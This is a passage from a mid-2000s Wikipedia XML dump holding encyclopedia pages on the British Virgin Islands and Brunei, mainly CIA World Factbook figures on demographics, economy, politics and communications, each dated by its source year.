| valign=&quot;top&quot; width=&quot;80%&quot; |
strong ties to nearby [[U.S. Virgin Islands|US Virgin Islands]] and Puerto Rico
|}

''Information from ''[[The World Factbook]]''.''
:''See also:'' [[British Virgin Islands]]

[[Category:British Virgin Islands]]
[[Category:Geography by country|Virgin Islands, British]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the British Virgin Islands</title>
    <id>3650</id>
    <revision>
      <id>19120691</id>
      <timestamp>2005-07-19T01:39:52Z</timestamp>
      <contributor>
        <username>Joolz</username>
        <id>123025</id>
      </contributor>
      <comment>add {{CIA}}</comment>
      <text xml:space="preserve">{{CIA}}
'''Population:'''
19,615 (July 2000 est.) 21,730 (July 2003 est.)

'''Age structure:'''
&lt;br /&gt;''0-14 years:''
21.9% (male 2,401; female 2,358)
&lt;br /&gt;''15-64 years:''
73.1%  (male 8,181; female 7,709)
&lt;br /&gt;''65 years and over:''
5% (male 578; female 503) (2003 est.)

'''Population growth rate:'''
2.1% (2003 est.)

'''Birth rate:'''
15.86 births/1,000 population (2000 est.) 15 births/1,000 population (2003 est.)

'''Death rate:'''
4.59 deaths/1,000 population (2000 est.) 4.46 deaths/1,000 population (2003 est.)

'''Net migration rate:'''
12.08 migrant(s)/1,000 population (2000 est.) 10.45 migrant(s)/1,000 population (2003 est.)

'''Sex ratio:'''
&lt;br /&gt;''at birth:''
1.05 male(s)/female
&lt;br /&gt;''under 15 years:''
1.02 male(s)/female
&lt;br /&gt;''15-64 years:''
1.06 male(s)/female
&lt;br /&gt;''65 years and over:'' 
1.15 male(s)/female 
&lt;br /&gt;''total population:''
1.06 male(s)/female (2003 est.)

'''Infant mortality rate:'''&lt;br /&gt;
''total:'' 18.8 deaths/1,000 live births&lt;br /&gt;
''female:'' 15.6 deaths/1,000 live births&lt;br /&gt;
''male:'' 21.86 deaths/1,000 live births (2003 est.)

'''Life expectancy at birth:''
&lt;br /&gt;''total population:''
76.06 years 
&lt;br /&gt;''male:''
75.07 years 
&lt;br /&gt;''female:''
77.1 years (2003 est.)

'''Total fertility rate:'''
1.72 children born/woman (2003 est.)

'''HIV/AIDS - adult prevalence rate:'''
&lt;br /&gt;''Definition Field Listing Rank Order''
NA%

'''HIV/AIDS - people living with HIV/AIDS:'''
&lt;br /&gt;''Definition Field Listing Rank Order''
NA

'''HIV/AIDS - deaths:'''
&lt;br /&gt;''Definition Field Listing Rank Order''
NA

'''Nationality:'''
&lt;br /&gt;''noun:''
British Virgin Islander(s)
&lt;br /&gt;''adjective:''
British Virgin Islander

'''Ethnic groups:'''
black 83%, white, Indian, Asian and mixed

'''Religions:'''
Protestant 86% (Methodist 33%, Anglican 17%, Church of God 9%, Seventh-Day Adventist 6%, Baptist 4%, Jehovah's Witnesses 2%, other 15%), Roman Catholic 10%, none 2%, other 2% (1991)

'''Languages:'''
English (official)

'''Literacy:'''
&lt;br /&gt;''definition:''
age 15 and over can read and write
&lt;br /&gt;''total population:''
97.8% (1991 est.)
&lt;br /&gt;''male:''
NA%
&lt;br /&gt;''female:''
NA%

:''See also :'' [[British Virgin Islands]]

[[Category:British Virgin Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the British Virgin Islands</title>
    <id>3651</id>
    <revision>
      <id>40265313</id>
      <timestamp>2006-02-19T09:46:31Z</timestamp>
      <contributor>
        <username>Marknew</username>
        <id>10695</id>
      </contributor>
      <minor />
      <comment>/* Executive branch */ fix link</comment>
      <text xml:space="preserve">{{Politics of the British Virgin Islands}}
'''Politics of the British Virgin Islands''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[dependency]], whereby the Chief Minister is the [[head of government]], and of a pluriform multi-party system. The '''British Virgin Islands''' is an internally self-governing [[British overseas territory|overseas territory]] of the [[United Kingdom]]. The [[United Nations]] Committee on Decolonization includes the islands on the [[United Nations list of Non-Self-Governing Territories]]. The Constitution of the Islands was introduced in [[1971]]. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and the [[Legislative Council of the British Virgin Islands|Legislative Council]]. 
The [[Judiciary]] is independent of the executive and the legislature. Military defence is the responsibility of the [[United Kingdom]].
==Executive branch==
{{office-table}}
|Queen
|[[Queen Elizabeth II of the United Kingdom|Elizabeth II]] 
|
|[[6 February]] [[1952]]
|-
|[[Governor of the British Virgin Islands|Governor]]
|[[Tom Macan]]
|
|[[2002]]
|-
|[[Chief Minister of the British Virgin Islands|Chief Minister]]
|[[Orlando Smith]]
|[[National Democratic Party (British Virgin Islands)|NDP]]
|[[17 June]] [[2003]]
|}
The governor is appointed by the monarch. The chief minister appointed by the governor from among the members of the Legislative Council
His cabinet, the Executive Council is appointed by the governor from among the elected members of the Legislative Council

==Legislative branch==
The British Virgin Islands elects on territorial level a [[legislature]]. The [[Legislative Council of the British Virgin Islands|Legislative Council]] has 15 members, 13 members elected for a four year term, 9 of them in single-seat [[constituency|constituencies]] and 4 at large, one ex officio member and one speaker chosen from outside the council. 

==Political parties and elections==
{{elect|List of political parties in the British Virgin Islands|Elections in the British Virgin Islands|}}
{{BVI legislative election, 2003}}

==Judicial branch==
The [[Eastern Caribbean Supreme Court]], consists of the High Court of Justice and the Court of Appeal (one judge of the Supreme Court is a resident of the islands and presides over the High Court). Furthermore there is a Magistrate's Court; Juvenile Court; and a Court of Summary Jurisdiction.

==International organization participation==
[[Caricom]] (associate), [[Caribbean Development Bank|CDB]], [[Economic Commission for Latin America and the Caribbean|ECLAC]] (associate), [[Interpol]] (subbureau), [[International Olympic Committee|IOC]], [[Organisation of Eastern Caribbean States|OECS]] (associate), [[UNESCO]] (associate)

[[Category:Politics of the British Virgin Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the British Virgin Islands</title>
    <id>3652</id>
    <revision>
      <id>31823503</id>
      <timestamp>2005-12-18T06:59:19Z</timestamp>
      <contributor>
        <username>Snagari</username>
        <id>180680</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{CIA}}
'''Economy - overview:'''
The [[economic system|economy]] of the [[British Virgin Islands]], one of the most prosperous in the [[Caribbean]], is highly dependent on [[tourism]], which generates an estimated 45% of the national income. An estimated 350,000 tourists, mainly from the [[United States]], visited the islands in [[1997]]. In the mid-1980s, the government began offering offshore registration to companies wishing to incorporate in the islands, and incorporation fees now generate substantial revenues. An estimated 250,000 companies were on the offshore registry by yearend [[1997]]. The adoption of a comprehensive insurance law in late [[1994]], which provides a blanket of confidentiality with regulated statutory gateways for investigation of criminal offenses, is expected to make the British Virgin Islands even more attractive to international business. [[Livestock]] raising is the most important agricultural activity; poor soils limit the islands' ability to meet domestic food requirements. Because of traditionally close links with the [[U.S. Virgin Islands]], the British Virgin Islands has used the dollar as its currency since [[1959]].

'''GDP:'''
purchasing power parity - $287 million (1999 est.)

'''GDP - real growth rate:'''
6.8% (1999 est.)

'''[[gross domestic product|GDP]] - [[per capita]]:'''
[[purchasing power parity]] - $15,000 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
1.8%
&lt;br&gt;''industry:''
6.2%
&lt;br&gt;''services:''
92% (1996 est.)

'''Population below [[poverty line]]:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''[[Inflation]] rate (consumer prices):'''
5.3% (1998)

'''[[Labor force]]:'''
4,911 (1980)

'''Labor force - by occupation:'''
agriculture NA%, industry NA%, services NA%

'''Unemployment rate:'''
3% (1995)

'''Budget:'''
&lt;br&gt;''revenues:''
$121.5 million
&lt;br&gt;''expenditures:''
$115.5 million, including capital expenditures of $NA (1997)

'''Industries:'''
tourism, light industry, construction, [[rum]], [[concrete]] block, offshore financial center

'''Industrial production growth rate:'''
4% (1985)

'''[[Electricity]] - production:'''
42 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
39 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''[[Agriculture]] - products:'''
fruits, vegetables; livestock, [[poultry]]; [[fish]]

'''Exports:'''
$6 million (1998)

'''Exports - commodities:'''
rum, fresh fish, fruits, animals; gravel, sand

'''Exports - partners:'''
Virgin Islands (US), Puerto Rico, US

'''Imports:'''
$175 million (1998)

'''Imports - commodities:'''
building materials, automobiles, foodstuffs, machinery

'''Imports - partners:'''
Virgin Islands (US), Puerto Rico, US

'''Debt - external:'''
$36.1 million (1997)

'''Economic aid - recipient:'''
$2.6 million (1995)

'''Currency:'''
1 [[United States dollar]] (US$) = 100 cents

'''[[Exchange rate]]s:'''
US currency is used

'''Fiscal year:'''
[[1 April]]&amp;ndash;[[31 March]]

[[Category:Economy of the British Virgin Islands|*]]
[[Category:Economies by country|British Virgin Islands]]

[[es:Economía de las Islas Vírgenes Británicas]]</text>
    </revision>
  </page>
  <page>
    <title>Communications on the British Virgin Islands</title>
    <id>3653</id>
    <revision>
      <id>24097556</id>
      <timestamp>2005-09-26T18:55:02Z</timestamp>
      <contributor>
        <username>CaribDigita</username>
        <id>60840</id>
      </contributor>
      <comment>Recat Cat:British Virgin Islands -&gt; Cat:Communications in the British Virgin Islands</comment>
      <text xml:space="preserve">{{CIA}}
'''[[Telephone]]s - main lines in use:'''
9,000 (1994)

'''Telephones - mobile cellular:'''
NA

'''Telephone system:'''
worldwide telephone service
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
submarine cable to [[Bermuda]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 1, FM 4, shortwave 0 (1998)

'''Radios:'''
9,000 (1997)

'''[[Television]] broadcast stations:'''
1 (plus one cable company) (1997)

'''Televisions:'''
4,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
1 (1999)

:''See also :'' [[British Virgin Islands]]

[[Category:Communications in the British Virgin Islands|*]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in the British Virgin Islands</title>
    <id>3654</id>
    <revision>
      <id>36062584</id>
      <timestamp>2006-01-21T07:05:12Z</timestamp>
      <contributor>
        <username>Vegaswikian</username>
        <id>214427</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation on the British Virgin Islands]] to [[Transportation in the British Virgin Islands]]: move to match all other articles in transportation cat.</comment>
      <text xml:space="preserve">{{CIA}}
'''Railways:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
113 km (1995 est.)
&lt;br&gt;''paved:''
NA km
&lt;br&gt;''unpaved:''
NA km

'''[[Harbor]]s:'''
[[Road Town]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
3 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
2
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

:''See also :'' [[British Virgin Islands]]

[[Category:British Virgin Islands]]
[[Category:Transportation by country|British Virgin Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the British Virgin Islands</title>
    <id>3655</id>
    <revision>
      <id>19120678</id>
      <timestamp>2005-07-19T01:41:25Z</timestamp>
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        <username>Joolz</username>
        <id>123025</id>
      </contributor>
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'''Military - note:'''
defense is the responsibility of the UK

:''See also :'' [[British Virgin Islands]]

[[Category:British Virgin Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Transnational issues of the British Virgin Islands</title>
    <id>3656</id>
    <revision>
      <id>15901972</id>
      <timestamp>2002-08-30T19:05:03Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[British Virgin Islands]] -- the page had no content</comment>
      <text xml:space="preserve">#REDIRECT [[British Virgin Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Brunei/History</title>
    <id>3657</id>
    <revision>
      <id>15901973</id>
      <timestamp>2002-03-02T14:28:41Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Brunei]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Brunei</title>
    <id>3658</id>
    <revision>
      <id>31181736</id>
      <timestamp>2005-12-13T12:12:24Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>/* See also */ {{Asia in topic|Geography of}}</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right&quot;&gt;[[Image:bx-map.gif]]&lt;/div&gt;

[[Brunei]] is in [[Southeastern Asia]], bordering the [[South China Sea]] and [[Malaysia]].  Its geographical coordinates are {{coor dm|4|30|N|114|40|E|}}.

Brunei shares a 381 km border with [[Malaysia]] and has a 161 km coastline.

The [[climate]] in Brunei is hot, humid and tropical with heavy [[rain]]fall.  Most of the country is a flat [[coastal plain]] with [[mountain]]s in the east and hilly lowland in the west.  The lowest point is at [[sea level]] and the highest is [[Bukit Pagon]] (1,850 m).

Natural resources include [[petroleum]], [[natural gas]] and [[timber]].

'''Area:'''
&lt;br&gt;''total:''
5,770 km&amp;sup2;
&lt;br&gt;''land:''
5,270 km&amp;sup2;
&lt;br&gt;''water:''
500 km&amp;sup2;

'''Maritime claims:'''
&lt;br&gt;''exclusive economic zone:''
200 nm or to median line
&lt;br&gt;''territorial sea:''
12 nm

'''Land use:'''
&lt;br&gt;''arable land:''
1%
&lt;br&gt;''permanent crops:''
1%
&lt;br&gt;''permanent pastures:''
1%
&lt;br&gt;''forests and woodland:''
85%
&lt;br&gt;''other:''
12% (1993 est.)

'''Irrigated land:'''
10 km&amp;sup2; (1993 est.)

'''Natural hazards:'''
typhoons, earthquakes, and severe flooding are very rare

'''Environment - current issues:'''
seasonal smoke/haze resulting from forest fires in Indonesia

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Endangered Species, [[Law of the Sea]], Ozone Layer Protection, Ship Pollution
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

'''Geography - note:'''
close to vital sea lanes through South China Sea linking Indian and Pacific Oceans; two parts physically separated by Malaysia; almost an enclave of Malaysia

==See also==
*[[Brunei]]

{{Asia in topic|Geography of}}

[[Category:Geography of Brunei| ]]
[[Category:Geography by country|Brunei]]

[[pt:Geografia do Brunei]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Brunei</title>
    <id>3659</id>
    <revision>
      <id>39374192</id>
      <timestamp>2006-02-12T19:18:20Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">[[Image:Brunei-demography.png|thumb|300px|right|Demographics of Brunei, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]
Like neighboring countries, Brunei is mostly Malay.  Many cultural and linguistic differences make [[Brunei]] Malays distinct from the larger Malay populations in nearby [[Malaysia]] and [[Indonesia]], even though they are ethnically related and share the [[Islam|Muslim]] religion.

Brunei has a hereditary nobility with the title Pengiran these are, more often than not, related to the Sultan by blood. The Sultan can award to commoners the title [[Pehin]], the equivalent of a [[life peerage]] awarded in the [[United Kingdom]]. The Sultan also can award his subjects the [[Malay titles|Dato]], the equivalent of a [[knighthood]] in the United Kingdom, and Datin, the equivalent of a damehood.

Bruneians adhere to the practice of using complete full names with all titles, including the title [[Haji]] (for men) or Hajjah (for women) for those who have made the Haj pilgrimage to Mecca. Many Brunei Malay women wear the [[tudong]], a traditional head covering. Men wear the [[songkok]], a traditional Malay cap. Men who have completed the Haj wear a white songkok.

The requirements to attain Brunei citizenship include passing tests in Malay culture, customs, and [[Malay language|language]]. Stateless permanent residents of Brunei are given International Certificates of Identity, which allow them to travel overseas. The majority of Brunei's Chinese are permanent residents, and many are stateless.

[[Petroleum]] wealth allows the Brunei Government to provide the population with one of [[Asia]]'s finest [[health care]] systems. The [[Brunei Medical and Health Department]] introduced the region's first government &quot;flying doctor service&quot; in early [[1965]]. [[Malaria]] has been eradicated, and [[cholera]] is virtually nonexistent. There are three general hospitals--in Bandar Seri Begawan, Tutong, and Kuala Belait--and there are numerous health clinics throughout the country.

[[Education]] starts with [[preschool]], followed by 6 years of [[primary education]] and up to 6 years of [[secondary education]]. Nine years of education are mandatory. Most of Brunei's [[college]] students attend [[university|universities]] and other institutions abroad, but approximately 2,542 study at the [[University of Brunei Darussalam]]. Opened in [[1985]], the university has a faculty of over 300 instructors and is located on a sprawling campus at [[Tungku]], overlooking the [[South China Sea]].

The official language is [[Malay language|Malay]], but [[English language|English]] is widely understood and used in business. Other languages spoken are several [[Chinese language|Chinese]] dialects, [[Iban language|Iban]], and a number of native dialects. [[Islam]] is the official religion, but religious freedom is guaranteed under the constitution.

==Demographic data from the CIA World Factbook==

===Population===
:372,361 (July 2005 est.)

===Age structure===
:0-14 years: 28.6% (male 54,342/female 52,084)
:15-64 years: 68.4% (male 134,908/female 119,814)
:65 years and over: 3% (male 5,301/female 5,912) (2005 est.)

===Median age===
:Total: 27.04 years
:Male: 27.63 years
:Female: 26.4 years (2005 est.)

===Population growth rate===
:1.9% (2005 est.)

===Birth rate===
:19.01 births/1,000 population (2005 est.)

===Death rate===
:3.42 deaths/1,000 population (2005 est.)

===Net migration rate===
:3.45 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.06 male(s)/female
:Under 15 years: 1.04 male(s)/female
:15-64 years: 1.13 male(s)/female
:65 years and over: 0.9 male(s)/female
:Total population: 1.09 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 12.61 deaths/1,000 live births
:Male: 15.93 deaths/1,000 live births
:Female: 9.1 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 74.8 years
:Male: 72.36 years
:Female: 77.36 years (2005 est.)

===Total fertility rate===
:2.3 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: less than 0.1% (2003 est.)
:People living with HIV/AIDS: less than 200 (2003 est.)
:Deaths: less than 200 (2003 est.)

===Nationality===
:Noun: Bruneian(s)
:Adjective: Bruneian

===Ethnic groups===
:Malay 67%, Chinese 15%, indigenous 6%, other 12%

===Religions===
:Muslim (official) 67%, Buddhist 13%, Christian 10%, indigenous beliefs and other 10%

===Languages===
:Malay (official), English, Chinese

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 93.9%
:Male: 96.3%
:Female: 91.4% (2002)

==References==
{{CIA WFB 2005}}

[[Category:Demographics by country|Brunei]]
[[Category:Brunei]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Brunei</title>
    <id>3660</id>
    <revision>
      <id>39367754</id>
      <timestamp>2006-02-12T18:26:36Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Politics of Brunei}}
== Government ==

Under Brunei's [[1959]] [[constitution]], [[His Majesty Paduka Seri Baginda Sultan Haji Hassanal Bolkiah Mu'izzaddin Waddaulah]], is the [[head of state]] with full executive authority, including emergency powers since [[1962]]. The Sultan's role is enshrined in the national philosophy known as Melayu Islam Beraja (MIB), or [[Malaysia|Malay]] [[Islam]]ic [[Monarchy]].

== Executive ==

The [[Sultan]] is assisted and advised by five councils, which he appoints. A Council of Ministers, or cabinet, which currently consists of nine members (including the Sultan himself), assists in the administration of the government. The Sultan presides over the cabinet as Prime Minister and also holds the positions of Minister of Defence and Minister of Finance. One of the Sultan's brothers, Prince Mohamed, serves as Minister of Foreign Affairs. There are also three Councils appointed by the Sultan: a Religious Council, which advises on religious matters; a Privy Council, dealing with constitutional matters; and the Council of Succession that determines the succession to the throne should the need arise.

== Judiciary ==

Brunei's legal system is based on [[English common law]], with an independent judiciary, a body of written common law judgments and statutes, and legislation enacted by the [[Sultan]]. Most cases are tried by the local [[magistrate]]'s courts. More serious cases go before the High Court, which sits for about 2 weeks every few months. Brunei has an arrangement with the [[United Kingdom]] whereby United Kingdom judges are appointed as the judges for Brunei's High Court and Court of Appeal. Final appeal can be made to the [[Judicial Committee of the Privy Council]] in [[London]] in civil but not criminal cases.

== Legislature ==

Under the 1959 constitution  there was an elected Legislative Council, or ''Majlis Masyuarat Negeri'', but the last elections were held in [[1962]], after which it was dissolved following a state of emergency, which saw the banning of the ''Parti Rakyat Brunei'' (PRB) or Brunei People's Party. In 1970 the Council was changed to an appointed body by decree of the Sultan; an elected Legislative Council is being considered as part of constitutional reform, but elections are unlikely for several years.
{{Brunei composition}}

==Political parties and elections==
Brunei is currently one of the few countries in the world that does not hold elections at all.  A [[Legislative Council of Brunei|Legislative Council]] has 20 appointed members with only consultative tasks. 
Brunei doesn't allow political parties to take part in elections. The following illegal parties exist: 
*[[Brunei National Solidarity Party]] (PPKB)
*[[Brunei People's Awareness Party]] (PAKAR)
Former parties include:
*[[Brunei National Democratic Party]]
*[[Brunei People's Party]] (Parti Rakyat Brunei)

==Territory Dispute==
Brunei has territory dispute with [[Malaysia]] and [[China]].  Brunei has claims territory in [[Sarawak]] and is one of many nations to lay claim to disputed [[Spratly Islands]].


==External links==
*[http://www.gov.bn Government of Brunei Darussalam Official Website]
*[http://psephos.adam-carr.net/countries/b/brunei/ Adam Carr's Election Archive]

[[Category:Politics of Brunei]]
[[Category:Lists of political parties|Brunei]]
[[Category:Political parties in Brunei]]
[[Category:Elections in Brunei]]

{{ASEAN}}
[[zh:文莱政治]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Brunei</title>
    <id>3661</id>
    <revision>
      <id>34973603</id>
      <timestamp>2006-01-13T03:03:28Z</timestamp>
      <contributor>
        <username>Earth</username>
        <id>5128</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}
{{Template:Economy of Brunei table}}

The [[Asian financial crisis]] in 1997 and 1998, coupled with fluctuations in the price of oil have created uncertainty and instability in [[Brunei]]'s economy. In addition, the 1998 collapse of the AMEDEO Corporation, Brunei's largest construction firm whose projects helped fuel the domestic economy, caused the country to slip into a mild recession.

Brunei is the third-largest oil producer in Southeast Asia, averaging about 180,000 barrels (29,000 m&amp;sup3;) a day. It also is the fourth-largest producer of liquefied natural gas in the world. Brunei's gross domestic product (GDP) soared with the petroleum price increases of the 1970s to a peak of $5.7 billion in 1980. It declined slightly in each of the next 5 years, then fell by almost 30% in 1986.

This drop was caused by a combination of sharply lower petroleum prices in world markets and voluntary production cuts in Brunei. The GDP recovered somewhat since 1986, growing by 12% in 1987, 1% in 1988, and 9% in 1989. In recent years, GDP growth was 3.5% in 1996, 4.0% in 1997, 1.0% in 1998, and an estimated 2.5% in 1999. However, the 1999 GDP was still only about $4.5 billion, well below the 1980 peak.

In the [[1970s]], Brunei invested sharply increasing revenues from petroleum exports and maintained government spending at a low and constant rate. Consequently, the government was able to build its foreign reserves and invest them around the world to help provide for future generations. Part of the reserve earnings were reportedly also used to help finance the government's annual budget deficit. Since 1986, however, petroleum revenues have decreased, and government spending has increased. The government has been running a budget deficit since 1988. The disappearance of a revenue surplus has made Brunei's economy more vulnerable to petroleum price fluctuations.

Brunei Shell Petroleum (BSP), a joint venture owned in equal shares by the Brunei Government and the [[Royal Dutch]]/Shell group of companies, is the chief oil and gas production company in Brunei. It also operates the country's only refinery. BSP and four sister companies constitute the largest employer in Brunei after the government. BSP's small refinery has a distillation capacity of 10,000 barrels (1,600 m&amp;sup3;) per day. This satisfies domestic demand for most petroleum products.

The French oil company ELF Aquitaine, became active in petroleum exploration in Brunei in the 1980s. Known as Elf Petroleum Asia BV, it has discovered commercially exploitable quantities of oil and gas in three of the four wells drilled since 1987, including a particularly promising discovery announced in early 1990. Recently, UNOCAL, partnered with New Zealand's [[Fletcher Challenge]] has been granted concessions for oil exploration. Brunei is preparing to tender concessions for deep water oil and gas exploration.

Brunei's oil production peaked in 1979 at over 240,000 barrels (38,000 m&amp;sup3;) per day. Since then it has been deliberately cut back to extend the life of oil reserves and improve recovery rates. Petroleum production is currently averaging 180,000 barrels (29,000 m&amp;sup3;) per day. Japan has traditionally been the main customer for Brunei's oil exports, but its share dropped from 45% of the total in 1982 to 19% in 1998. In contrast, oil exports to South Korea increased from only 8% of the total in 1982 to 29% in 1998. Other major customers include [[Republic of China|Taiwan]] (6%), and the countries of ASEAN (27%). Brunei's oil exports to the United States accounted for 17% of the total exported.

Almost all of Brunei's natural gas is liquefied at Brunei Shell's Liquefied Natural Gas (LNG) plant, which opened in 1972 and is one of the largest LNG plants in the world. Over 82% of Brunei's LNG produced is sold to Japan under a long-term agreement renewed in 1993. The agreement calls for Brunei to provide over 5 million tons of LNG per year to three Japanese utilities. The Japanese company, Mitsubishi, is a joint venture partner with Shell and the Brunei Government in Brunei LNG, Brunei Coldgas, and Brunei Shell Tankers, which together produce the LNG and supply it to Japan. Since 1995, Brunei has supplied more than 700,000 tons of LNG to the Korea Gas Corporation as well. In 1999, Brunei's natural gas production reached 90 cargoes per day. A small amount of natural gas is used for domestic power generation. Brunei is the fourth-largest exporter of LNG in the Asia-Pacific region behind Indonesia, Malaysia, and Australia.

Brunei's proven oil and gas reserves are sufficient until at least 2015, and planned deep sea exploration is expected to find significant new reserves. The government sought in the past decade to diversify the economy with limited success. Oil and gas and government spending still account for most of Brunei's economic activity. Brunei's non-petroleum industries include agriculture, forestry, fishing, and banking.

The government regulates the immigration of foreign labor out of concern it might disrupt Brunei's society. Work permits for foreigners are issued only for short periods and must be continually renewed. Despite these restrictions, foreigners make up a significant portion of the work force. The government reported a total work force of 122,800 in 1999, with an unemployment rate of 5.5%.

Oil and natural gas account for almost all exports. Since only a few products other than petroleum are produced locally, a wide variety of items must be imported. Brunei statistics show Singapore as the largest point of origin of imports, accounting for 25% in 1997. However, this figure includes some transshipments, since most of Brunei's imports transit Singapore. Japan and Malaysia were the second-largest suppliers. As in many other countries, Japanese products dominate local markets for motor vehicles, construction equipment, electronic goods, and household appliances. The United States was the third-largest supplier of imports to Brunei in 1998.

Brunei's substantial foreign reserves are managed by the Brunei Investment Agency (BIA), an arm of the Ministry of Finance. BIA's guiding principle is to increase the real value of Brunei's foreign reserves while pursuing a diverse investment strategy, with holdings in the United States, Japan, western Europe, and the Association of South East Asian Nations (ASEAN) countries.

The Brunei Government actively encourages more foreign investment. New enterprises that meet certain criteria can receive pioneer status, exempting profits from income tax for up to 5 years, depending on the amount of capital invested. The normal corporate income tax rate is 30%. There is no personal income tax or capital gains tax.

One of the government's most important priorities is to encourage the development of Brunei Malays as leaders of industry and commerce. There are no specific restrictions of foreign equity ownership, but local participation, both shared capital and management, is encouraged. Such participation helps when tendering for contracts with the government or Brunei Shell Petroleum.

Companies in Brunei must either be incorporated locally or registered as a branch of a foreign company and must be registered with the Registrar of Companies. Public companies must have a minimum of seven shareholders. Private companies must have a minimum of two but not more than 50 shareholders. At least half of the directors in a company must be residents of Brunei.

The government owns a cattle farm in Australia that supplies most of the country's beef. At 2,262 square miles (5,859 km&amp;sup2;), this ranch is larger than Brunei itself. Eggs and chickens are largely produced locally, but most of Brunei's other food needs must be imported. Agriculture and fisheries are among the industrial sectors that the government has selected for highest priority in its efforts to diversify the economy.

Recently the government has announced plans for Brunei to become an International Offshore Financial Center as well as a Center for Islamic Banking. Brunei is keen on the development of Small and Medium Enterprises and also is investigating the possibility of establishing a &quot;cyber park&quot; to develop an information technology industry. Brunei also hopes to foster tourism through its &quot;Visit Brunei 2001&quot; campaign.

'''Economy - overview:'''
This small, wealthy economy is a mixture of foreign and domestic entrepreneurship, government regulation and welfare measures, and village tradition. It is almost totally supported by exports of crude oil and natural gas, with revenues from the petroleum sector accounting for over half of GDP. Per capita GDP is far above most other [[Third World]] countries, and substantial income from overseas investment supplements income from domestic production. The government provides for all medical services and subsidizes food and housing. The government has shown progress in its basic policy of diversifying the economy away from oil and gas. Brunei's leaders are concerned that steadily increased integration in the world economy will undermine internal social cohesion although it has taken steps to become a more prominent player by serving as chairman for the 2000 APEC (Asian Pacific Economic Cooperation) forum. Growth in 1999 is estimated at 2.5% due to higher oil prices in the second half.

==See also==
*[[Brunei]]

{{APEC}}
{{WTO}}

[[Category:WTO members|Brunei]]
[[Category:Brunei]]
[[Category:Economies by country|Brunei]]
[[Category:Economy of Brunei]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Brunei</title>
    <id>3662</id>
    <revision>
      <id>29726834</id>
      <timestamp>2005-11-30T20:38:23Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>disambiguation link repair [[broadcast]] ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
90,000 (2002)

'''Telephones - mobile cellular:'''
57,000 (1998)
'''Mobile Subscribers'''
177,300 (2003E)

'''Telephone system:'''
service throughout country is excellent; international service good to [[Europe]], [[United States|US]], and [[East Asia]]
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
[[satellite]] earth stations - 2 [[Intelsat]] (1 [[Indian Ocean]] and 1 [[Pacific Ocean]]); digital submarine [[cable]] links to [[Malaysia]], [[Singapore]], and the [[Philippines]]

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
AM 3, FM 10, shortwave 0 (1998)

'''Radios:'''
362,712 (2000)

'''[[Television]] broadcast stations:'''
2 (1997)

'''Televisions:'''
216,223 (2000)

'''[[Internet Service Provider]]s (ISPs):'''
2 (2003) : Brunet (part of Jabatan Telekom Brunei) and Simpurnet of DSTCom

'''[[Country code]]:''' BN

